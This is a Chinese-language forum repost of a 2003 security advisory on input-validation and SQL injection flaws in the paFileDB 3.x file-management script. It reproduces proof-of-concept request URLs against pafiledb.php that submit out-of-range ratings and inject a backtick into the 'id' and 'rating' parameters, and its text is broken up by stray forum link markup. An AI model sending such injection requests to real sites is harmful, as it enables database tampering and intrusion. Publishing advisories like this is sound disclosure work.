发新话题
打印

paFileDB 3.x SQL 存在注入缺陷

paFileDB 3.x SQL 存在注入缺陷

发布日期:2003-03-25
  
涉及
[url=/code/]程序[/url]
  paFileDB 3.0 Final/3.0 Beta 3.1/3.1 Final   

详细描述:   paFileDB是一种文件管理
[url=/code/]脚本[/url]
,支持用户文件等级分类,并使用SQL
[url=/code/sql/]数据库[/url]
backend。由于对输入的变量缺乏正确的检查,paFileDB存在多个缺陷:
—修改的“id”标签允许用户提交无限的等级分类
—手动编辑“rating”标签允许用户提交大于10或小于0的等级分类
—标签没有正确检查溢出字符,导致
[url=/]攻击[/url]
者能进行SQL注入  使用任意简短字符串和
[url=/code/]脚本[/url]
替换[RANDOM]:
http://target/pafiledb/pafiledb.
[url=/code/php/]php[/url]
?action=rate%26amp;id=1[RANDOM]%26amp;rate=dorate%26amp;rating=10  提交文件等级分类(从10到1000,如果为-1000,将出现相反等级分类):
http://target/pafiledb/pafiledb.
[url=/code/php/]php[/url]
?action=rate%26amp;id=1%26amp;rate=dorate%26amp;rating=1000  SQL注入
[url=/]攻击[/url]

http://target/pafiledb/pafiledb.
[url=/code/php/]php[/url]
?action=rate%26amp;id=1%26amp;rate=dorate%26amp;rating=`
http://target/pafiledb/pafiledb.
[url=/code/php/]php[/url]
?action=rate%26amp;id=`%26amp;rate=dorate%26amp;rating=10
  

[url=/]攻击[/url]
方法:
   示例代码1:
http://target/pafiledb/pafiledb.
[url=/code/php/]php[/url]
?action=rate%26amp;id=1[RANDOM]%26amp;rate=dorate%26amp;rating=10  示例代码2:
http://target/pafiledb/pafiledb.
[url=/code/php/]php[/url]
?action=rate%26amp;id=1%26amp;rate=dorate%26amp;rating=1000  示例代码3:
http://target/pafiledb/pafiledb.
[url=/code/php/]php[/url]
?action=rate%26amp;id=1%26amp;rate=dorate%26amp;rating=`
http://target/pafiledb/pafiledb.
[url=/code/php/]php[/url]
?action=rate%26amp;id=`%26amp;rate=dorate%26amp;rating=10
  
解决方案:  目前厂商未公布该缺陷补丁,请用户及时关注厂商站点:

[url=/code/php/]php[/url]
arena.net/">http://www.
[url=/code/php/]php[/url]
arena.net/                                  



[url=java:copyUrl(]复制地址,推荐给QQ、MSN上的好友[/url]


[url=/bbs/]进入黑客手册技术论坛和大家一起讨论[/url]

TOP

发新话题